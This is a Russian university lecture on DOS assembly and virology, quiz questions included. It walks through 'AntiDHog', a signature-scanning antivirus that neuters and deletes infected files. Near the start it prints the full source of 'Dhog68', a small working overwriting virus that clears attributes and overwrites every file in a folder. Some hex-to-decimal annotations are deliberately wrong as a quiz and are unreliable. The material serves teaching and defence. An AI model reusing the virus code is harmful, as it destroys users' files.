ЛЕКЦИЯ 7. KILL THE DHOG?

На прошлой лекции Вам якобы удалось рассмотреть то, что называется ВИРУСОМ, точнее то, что было представлено исходным текстом на языке записи алгоритмов ассемблер, и то, что в результате трансляции, линковки и загрузки в оперативную память ПРЕВРАЩАЕТСЯ в памяти в программу – в совокупность команд (инструкций), которая может быть расшифрована самой ЭВМ и выполнена ею без постороннего вмешательства.

***Вопросы: (через 10 минут после начала лекции сдать листочки)***

***0. Что делают в контексте «традиционного сельского хозяйства» с «разжиревшим, занявшим весь (почти весь) свинарник БОРОВОМ»?***

***1. Сколько различных функций 21h прерывания было использовано в вирусе Dhog68. Перечислить, используя 10-ую систему счисления, все НОМЕРА функций, использованных в тексте вируса.***

Исходный текст получился таким:

**seg000 segment byte public 'CODE'**

**assume cs:seg000**

**org 100h**

**assume es:nothing, ss:nothing, ds:seg000**

**public start**

**start proc near**

**mov ah,4Eh 78**

**mov dx,140h**

**int 21h**

**loc\_0\_107:**

**mov ah,43h 67**

**mov al,0**

**mov dx,9Eh**

**int 21h**

**mov ah,43h**

**mov al,1**

**mov dx,9Eh**

**mov cl,0**

**int 21h**

**mov ax,3D01h 61**

**mov dx,9Eh**

**int 21h**

**xchg ax,bx**

**mov ah,40h 64**

**mov cl,44h**

**nop**

**nop**

**mov dx,100h**

**int 21h**

**mov ah,3Eh 62**

**int 21h**

**mov ah,4Fh 79**

**int 21h**

**jnb loc\_0\_107**

**mov ah,31h 49**

**mov dx,7530h**

**int 21h**

**start endp**

**a\_MaskForVir db '\*.\*',0**

**seg000 ends**

**end start**

**При этом были использованы функции 21h прерывания:**

1. ***4eH: Найти 1-й совпадающий по маске файл***

***= 60 в 10 с.с. = 77 в 10 с.с.***

***Вход***

* ***AH = 4EH***
* ***DS:DX = адрес строки ASCIIZ с именем файла (допускаются ? и \*)***
* ***CX = атрибут файла для сравнения***

**Выход**

* **AX = код ошибки если CF установлен**
* **DTA = заполнена данными (если не было ошибки)**

При этом В ОБЛАСТЬ ПАМЯТИ DTA попадает ИНФОРМАЦИЯ О ПЕРВОМ НАЙДЕННОМ В ПАПКЕ ФАЙЛЕ, причём эта область памяти DTA находится в области памяти PSP и содержит такую информацию:

* 1. Атрибуты файла
  2. Время создания
  3. Дата создания
  4. Размер файла в байтах
  5. Сокращенное имя файла.
* ***2. Функц***[***ия 43H: установить/опросить атрибут файла***](http://www.codenet.ru/progr/dos/dos_0070.php)
* ***43H = 46 в 10 с.с. или 67 в 10 с.с.***

***Вход***

* ***AH = 43H***
* ***DS:DX = адрес строки ASCIIZ с именем файла***
* ***AL = код подфункции: 0 = извлечь текущий атрибут файла***
* ***AL = 1 = установить атрибут файла***
* ***CX = новый атрибут файла (для подфункции 01H)***

***Выход***

* ***AX = код ошибки если CF установлен***
* ***CX = текущий атрибут файла (для подфункции 00H)***
* ***3.*** [***Функция 3dH: задать handle файла***](http://www.codenet.ru/progr/dos/dos_0064.php)

***= 62 в 10 с.с. или 52 в 10 с.с.***

Вход

* AH = 3dH
* DS:DX = адрес строки ASCIIZ с именем файла
* AL = режим открытия

Выход

* AX = код ошибки если CF установлен и handle, файла если нет ошибки.

Описание:

DS:DX указывает на строку ASCIIZ в формате: "d:\путь\имяфайла",0. Если диск и/или путь опущены, они принимаются по умолчанию.

* Файл должен существовать.
* Файл открывается в выбранном режиме доступа:
  + AL = 0 чтобы открыть для чтения
  + AL = 1 чтобы открыть для записи
  + AL = 2 чтобы открыть для чтения и записи
* Маркер текущей позиции файла чтения/записи устанавливается в 0.
* Handle должен быть сохранен для последующих операций
* CONFIG.SYS специфицирует число доступных Handle файлов.

***4. ФУНКЦИЯ 40h***

***40H: писать в файл с использованием Handle.***

Вход

* AH = 40H
* BX = описатель файла
* DS:DX = адрес буфера, содержащего записываемые данные
* CX = число записываемых байт

Выход

* AX = код ошибки если CF установлен
* AL = число реально записанных байт
  1. [***Функция 3eH:***](http://www.codenet.ru/progr/dos/dos_0065.php)

***3eH: Забыть про Handle. = 63 в 10 с.с. = или 53 в 10 с.с.***

Вход

* AH = 3eH
* BX = описатель файла

Выход

* AX = код ошибки если CF установлен

***6.*** [***Функция 4fH: Найти следующий совпадающий файл***](http://www.codenet.ru/progr/dos/dos_0082.php)

Fn 4fH: Найти следующий совпадающий файл

Вход

* AH = 4fH
* DS:DX = адрес данных, возвращенных предыдущей 4eH Найти 1-й файл

Выход

* AX = код ошибки если CF установлен
* DTA = заполнена данными

Описание:

DS:DX указывает на 2bH-байтовый буфер с информацией, возвращенной функцией 4eH Найти 1-й (либо DTA, либо буфер, скопированный из DTA).

***7.***[***Функция 31H: завершиться и остаться резидентным***](http://www.codenet.ru/progr/dos/dos_0052.php)

31H: завершиться и остаться резидентным = 49 в 10 с.с.

Вход

* AH = 31H
* AL = код выхода
* DX = объем памяти, оставляемой резидентной, в параграфах

Выход

* нет = (неприменим)

После того, как пример вируса представлен, возникает вопрос, что с этим вирусом делать. Очевидно, что необходимо как-то научиться определять, что исполнимый модуль, хранящийся на внешнем устройстве, представляет собой «нехорошее изделие» - «нехороший исполнимый модуль» и изничтожать-обезвреживать эти «BadWare».

**Вопросы 2-3. Снова вырвать из тетрадки листочки, подписать ФИО, курс группу и сдать ЭТИ НОВЫЕ ЛИСТОЧКИ в конце лекции. НЕ СПИСЫВАТЬ!!!!!**

**Вопрос 2: Знаете основную фразу из Лекций Зубовича? «Никому не верьте, тем более какому-то Зубовичу!». Выше были представлены НОМЕРА ФУНКЦИЙ 21h-прерывания, используемых в вирусе DHog. Не путая с Нарвалом, указать, где НАВРАЛ.**

**На стр 258 – 262 книги про Ассемблер в задачах защиты информации представлен пример антиDhog68 программы на языке записи алгоритмов ассемблер. НАЙТИ ЭТОТ ТЕКСТ И ИМЕТЬ ПРИ СЕБЕ!!!! В папке на своём компьютере.**

**Чаще всего антивирусные программные средства пытаются при поиске и обезвреживании вирусов НАЙТИ ТАК НАЗЫВАЕМЫЕ СИГНАТУРЫ вирусов. Где под СИГНАТУРОЙ следует понимать СТРОГО ОПРЕДЕЛЁННУЮ ПОСЛЕДОВАТЕЛЬНОСТЬ машинных команд, представляющих собой в совокупности угрозу для файлов, хранящихся на внешних устройствах. Например, для вируса DHog68 такой последовательностью команд является совокупность байтов, которая может быть в памяти в 16-ричном виде представлена следующим образом (побайтно):**

**Cd 21 b4 43 b0 01 ba 9e 00 b1 00 cd 21 b8.**

**Вопрос 3.1.:**

**Записать на языке записи алгоритмов ассемблер совокупность команд, чьё 16-ричное представление приведено выше в качестве сигнатуры для определения вируса Dhog68.**

К настоящему времени опытным путём установлено, что наиболее опасными в контексте вирусологии являются цепочки команд (сигнатуры), которые включают в себя в различных комбинациях такие группы команд как:

* 1. Получить атрибуты файла
  2. Сбросить атрибуты файла
  3. Осуществить доступ к файлу
  4. Оставить программу резидентной
  5. Защититься от воздействия отладчика
  6. Записать в файл последовательности команд, которые не соответствует функционалу решаемой задачи.
  7. Получить доступ к реестру файлов.
  8. Изменить данные в системных файлах.

Переходим непосредственно **к антивирусу DHog68**. СМОТРИМ НА ТЕКСТ АНТИВИРУСА И РАЗБИРАЕМСЯ, что нужно сделать, чтобы «ЗАКОЛОТЬ, ОСВЕЖЕВАТЬ и СЪЕСТЬ свинью»?

Алгоритм:

1. Найти в текущем файле первый, совпадающий по маске файл.
2. Осуществить сравнение содержимого файла на наличие в этом файле ЦЕПОЧКИ КОМАНД, представляющую СОБОЙ СИГНАТУРУ ВИРУСА.
3. Если цепочка не найдена, то найти следующий совпадающий по маске файл в текущем каталоге и осуществить Шаг 2.
4. Если цепочка найдена, то необходимо:
   1. Сбросить атрибуты файла
   2. Получить Handle для файла
   3. Открыть файл для записи
   4. Поместить в самое начало файла машинную команду Int 20h.
   5. Закрыть файл.
   6. Найти следующий совпадающий по маске файл и перейти к Шагу 2, если такой файл найден.

**Вопрос 3.2: Действие «Поместить в самое начало файла машинную команду Int 20h» - это «убить», «удалить» или «изничтожить» файл? Для слов: «убить», «удалить», «изничтожить» ДАТЬ ТОЛКОВАНИЕ с Вашей колокольни каждому из НИХ.**

СНОВА ОТКРЫВАЕМ ФАЙЛИК С ТЕКСТОМ АНТИВИРУСА, КОТОРЫЙ У ВАС УЖЕ ДОЛЖЕН БЫТЬ НА ВАШЕМ КОМПЬЮТЕРЕ!!!! И «ЗУБАРИМ»! Ничего ПОНИМАТЬ НЕ НАДО!!! ЗА ВАС ДАВНЫМ-ДАВНО ВСЕ ВСЁ ПОНЯЛИ, ПРИДУМАЛИ И ДОГОВОРИЛИСЬ ДЕЛАТЬ ТОЛЬКО ТАК и НЕ ИНАЧЕ!!!!

В процессе записи алгоритма на языке записи алгоритмов ассемблер, воспользуемся аппаратом под названием «Макроопределения, макрокоманды, макрорасширения».

Например, запишем МАКРООПРЕДЕЛЕНИЕ установки в требуемую позицию (FPos) маркера текущего байта в файле, определяемого имеющимся в наличии Handle (F\_Handle).

**MoveFPos macro F\_Handle, FPos**

**mov ax,4200h**

**mov bx,F\_Handle**

**xor cx,cx**

**mov dx,FPos**

**int 21h**

**endm**

**ФУНКЦИЯ** 42H: установить маркер текущего байта в файле

Вход

* AH = 42H
* BX = описатель файла
* CX:DX = на сколько передвинуть маркер текущего байта: (CX \* 65536) + DX
* AL = 0 переместить к началу файла + CX:DX
* AL = 1 переместить к текущей позиции + CX:DX
* AL = 2 переместить к концу файла + CX:DX

Выход

* AX = код ошибки если CF установлен
* DX:AX = новая позиция маркера файла (если нет ошибки)

Описание:

перемещает логический маркер чтения/записи к нужному адресу. Очередная операция чтения или записи начнется с этого адреса.

Замечение:

Вызов с AL=2, CX=0, DX=0 возвращает длину файла в DX:AX. DX здесь старшее значащее слово: действительная длина (DX \* 65536) + AX.

**Имя макропределения и МАКРОКОМАНДЫ**

**Ключевое слово**

**Ещё одно макроопределение:**

**PutStr macro Text**

**mov ah,09h**

**mov dx,offset Text**

**int 21h**

**endm формальный параметр (их может быть несколько – в этом случае они отделяются друг от друга то ли пробелами, то ли запятыми – смотри предыдущее макроопределение).**

**ТЕЛО МАКРООПРЕДЕЛЕНИЯ**

**ПРИ ТРАНСЛЯЦИИ ИСХОДНОГО ТЕКСТА ВМЕСТО МАКРОКОМАНДЫ СПЕЦИАЛЬНОЙ ПРОГРАММОЙ – ПРЕПРОЦЕССОРОМ - СТРОИТСЯ ТАК НАЗЫВАЕМОЕ МАКРОРАСШИРЕНИЕ.**

**МАКРОКОМАНДА – последовательность символов, которая совпадает по написанию с именем какого-либо МАКРООПРЕДЕЛЕНИЯ и может содержать, а может и не содержать, ФАКТИЧЕСКИЕ ПАПАМЕТРЫ. Где фактические параметры – имена областей памяти из основного текста на языке записи алгоритмов ассемблер. Например, если в основном тексте будет записана такая МАКРОКОМАНДА:**

**PUTSTR ZU**

**А в основном тексте языка записи алгоритмов ассемблер определена область памяти с адресом ZU:**

**ZU DB “КАК НАДОЕЛИ ЭТИ ВОПРОСИКИ НАРВАЛА”,10,13,$**

**ТО в результате будет построено МАКРОРАСШИРЕНИЕ:**

**mov ah,09h**

**mov dx,offset ZU**

**int 21h**

**МАКРОРАСШИРЕНИЕ!!!!**

**Вопрос 3.3: Какова длина области памяти ZU и какова ХАРАКТЕРИСТИКА ДЛИНЫ области памяти ZU?**

**МакроОПРЕДЕЛЕНИЯ записываются до основного текста на языке записи алгоритмов ассемблер.**

**Теперь непосредственно реализация алгоритма:**

**seg000 segment byte public 'CODE'**

**assume cs:seg000**

**org 100h**

**assume es:nothing,ss:nothing,ds:seg000**

**public start**

**start proc near**

**PutStr TitleStr**

**Если в блоке определения данных будет описана область памяти следующего вида:**

**TitleStr db '+----------------------------+',13,10**

**db '|AntiDHog - antivirus example|',13,10**

**db '+----------------------------+',13,10,'$'**

**То в результате ПРЕПРОЦЕССОРОМ будет сформировано МАКРОРАСШИРЕНИЕ:**

**Mov ah,09**

**Mov dx, offset TitleStr**

**Int 21h**

**И если эта макрокоманда будет записана первой после Start proc near, адрес точки входа после препроцессирования и трансляции БУДЕТ СОВПАДАТЬ С АДРЕСОМ команды MOV ah,9**

**Далее установим адрес области памяти DTA, в которой, как мы знаем, обычно хранится информация о найденных с помощью соответствующей функции 21H прерывания:**

**mov ah,1ah**

**mov dx,offset DTA**

**mov cx,27h**

**int 21h**

установить адрес DTA

Вход

* AH = 1aH
* DS:DX = адрес для DTA

Выход

* нет =

Описание:

устанавливает адрес DTA.

**DTA db 43 dup(0)**

***Далее ОТВЕЧАТЬ на вопросы НЕ НУЖНО, НО НУЖНО ИМЕТЬ ВВИДУ, ЧТО НА СЛЕДУЮЩЕЙ ЛЕКЦИИ БУДЕТ ЧТО\_ТО ПОХОЖЕЕ НА КОНТРОЛЬНЫЙ ВЫСТРЕЛ – QUEST!!! И ОТВЕТЫ НА ВОПРОСЫ НУЖНО РАССМАТРИВАТЬ КАК ПОДГОТОВКУ К ЭТОМУ ВЫСТРЕЛУ!!!***

***ДОЧИТАТЬ НА ЛЕКЦИИ ЛЕКЦИЮ ДО КОНЦА – ЧТО-ТО ТИПА ДОМАШНЕГО ЗАДАНИЯ !!* ПРИСЫЛАТЬ НИЧЕГО НЕ НАДО И ПИСЬМЕННО ОТВЕЧАТЬ НА ВОПРОСЫ НЕ НАДО!!!!**

**Вопросы:**

**4.0.** «Kill The dHOg"? Это «переделанное» название какого фильма? Обосновать свой ответ, сопоставив слова в кавычках с названием и содержанием лекции и фильма.

**4.1. Почему и зачем в регистр СХ помешается значение, равное 27h, а область памяти DTA описана как 43 байта?**

* 1. **Зачем нужна эта область DTA, если она есть в PSP?**

**Находим в текущей папке первый совпадающий по маске файл:**

**mov ah,4eh**

**mov dx,offset a\_MaskForVir**

**int 21h**

**a\_MaskForVir db '\*.\*',0**

**С помощью команд пересылки символов-байтов, к которым относится, например, команда movsb, и с помощью директивы rep сохраним полученное в DTA имя найденного файла в области памяти FNAME.**

**Команда Movsb делает только то, что делает:**

**Берёт содержимое одного байта ОП, адрес которого равен содержимому пары регистров (DS):(SI), пересылает (КОПИРУЕТ) содержимое этого байта в байт, адрес которого определяется содержимым пары регистров (ES):(DI)**

**И после чего ДОБАВЛЯЕТ к регистрам SI и DI по единичке к каждому!!!**

**BegScan:**

**push ds**

**pop es**

**mov si,FN\_Ofs**

**mov di,offset FName**

**mov cx,13**

**rep movsb**

***FN\_Ofs equ offset DTA+1eh***

**FName db 128 dup(0)**

***Префикс REP предполагает выполнение подпрефиксной команды столько раз, чему равно содержимое регистра СХ, рассмтриваемое как целое положительное число с фиксированной точкой.***

***Вопрос: 4.3.Сколько раз будет выполнена команда movsb в следующих случаях:***

* 1. ***Mov CX, 0***

***Rep movsb***

* 1. ***Mov cx,-1***

***Rep movsb***

**ДОКАЗАТЬ, ИСПОЛЬЗУЯ DosBox и TD!!!**

**Далее:**

**Получить атрибуты файла**

**mov ah,43h**

**mov al,0**

**mov dx,offset FName**

**int 21h**

**Установить атрибуты файла**

**mov ah,43h**

**mov al,1**

**mov dx,offset FName**

**mov cl,0**

**int 21h**

**Получить Handle-файла:**

**mov ax,3d10h**

**mov dx,offset FName**

**int 21h**

**Установить начальные значения для последующих процедур:**

**mov FHandle,ax**

**mov ah,40h**

**mov cl,44h**

**nop**

**nop**

**Вопрос 4.4.: Почему и (или) зачем:**

**mov ah,40h**

**mov cl,44h**

**nop**

**nop**

**Вывести на экран сообщение об анализируемом файле:**

**call InfoAboutFile**

**Осуществить проверку о наличии в анализируемом файле соответствующей сигнатуры:**

**call ReadSignature**

**cmp SignatureFound,0**

**je NextFile**

**Если сигнатура найдена, необходимо «убить» исполнимый модуль:**

**call KillExecutable**

**а затем удалить его:**

**call RemoveExecutable**

**NextFile:**

**Вывести на экран сообщение о результате обработки очередного файла:**

**call CureInfo**

**Найти очередной совпадающий по маске файл:**

**mov ah,4fh**

**int 21h**

**jnb BegScan**

**int 20h**

**start endp**

**a\_MaskForVir db '\*.\*',0**

**DTA db 43 dup(0)**

**FN\_Ofs equ offset DTA+1eh**

**FName db 128 dup(0)**

**IName db 128 dup(0)**

**SignatureFound db 0**

**SignatureArray db 14 dup(0)**

**VirSignature db 0cdh,21h,0b4h,43h,0b0h,01h,0bah**

**db 9eh,00h,0b1h,00h,0cdh,21h,0b8h**

**Int20Cmd db 0cdh,20h**

**FHandle dw 0**

**TitleStr db '+----------------------------+',13,10**

**db '|AntiDHog - antivirus example|',13,10**

**db '+----------------------------+',13,10,'$'**

**NormStr db ' - Ok',13,10,'$'**

**CureStr db ' - deleted!',13,10,'$'**

**ReadSignature proc near**

**mov SignatureFound,0**

**MoveFPos FHandle 0eh**

**mov ah,3fh**

**mov bx,FHandle**

**mov cx,14**

**mov dx,offset SignatureArray**

**int 21h**

**cld**

**push ds**

**pop es**

**mov si,offset VirSignature**

**mov di,offset SignatureArray**

**mov cx,14**

**repe cmpsb**

**jnz Finish**

**mov SignatureFound,1**

**Finish:**

**ret**

**ReadSignature endp**

**KillExecutable proc near**

**MoveFPos FHandle 0**

**mov ah,40h**

**mov bx,FHandle**

**mov cx,2**

**mov dx,offset Int20Cmd**

**int 21h**

**mov ah,3eh**

**mov bx,FHandle**

**int 21h**

**ret**

**KillExecutable endp**

**RemoveExecutable proc near**

**mov ah,41h**

**mov dx,offset FName**

**int 21h**

**ret**

**RemoveExecutable endp**

**InfoAboutFile proc near**

**push ds**

**pop es**

**mov si,offset FName**

**mov di,offset IName**

**NextChar:**

**lodsb**

**stosb**

**cmp al,0**

**jne NextChar**

**dec di**

**mov byte ptr [di],'$'**

**PutStr IName**

**ret**

**InfoAboutFile endp**

**CureInfo proc near**

**mov ah,9**

**mov dx,offset NormStr**

**cmp SignatureFound,0**

**je ContMsg**

**mov dx,offset CureStr**

**ContMsg:**

**int 21h**

**ret**

**CureInfo endp**

**seg000 ends**

**end start**

**Вопрос 4.5. Какая разница между «убить» и «удалить» Executable?**

**Домашнее задание, КОТОРОЕ НУЖНО ОБЯЗАТЕЛЬНО ВЫПОЛНИТЬ: НАБРАТЬ (можно использовать книгу про ассемблер) и РАСПЕЧАТАТТЬ ПОЛНЫЙ ТЕКСТ АНТИВИРУСА, чтобы быть готовым к следующей Лекции 9, которая будет называться «Quest: Kill? The Hog».**

***НЕ СПИСЫВАТЬ! НЕ ИСПОЛЬЗОВАТЬ ЧРТ – У КАЖДОГО ДОЛЖЕН БЫТЬ СВОЙ СОБСТВЕННОРУЧНО НАБРАННЫЙ ТЕКСТ! В СЛУЧАЕ ОБНАРУЖЕНИЯ ЧРТ ВСЕ РАБЫ И РАБОВЛАДЕЛЬЦЫ ПОЛУЧАТ ПО МИНУС 256 баллов в рейтинг. ПРОСЬБА! ОТОРВИТЕСЬ ОТ СВОИХ ГАДЮК, МАРОК КОФЕ, ВСЕМИРНОЙ ЛИПКОСТИ и прочих помоек: просто наберите текст – может хоть что-то «зацепит». Тем более, что этот текст понадобится для лабораторной работы №2. Часть 2 (которую ВЫ получили в рамках сегодняшнего лабораторного занятия).***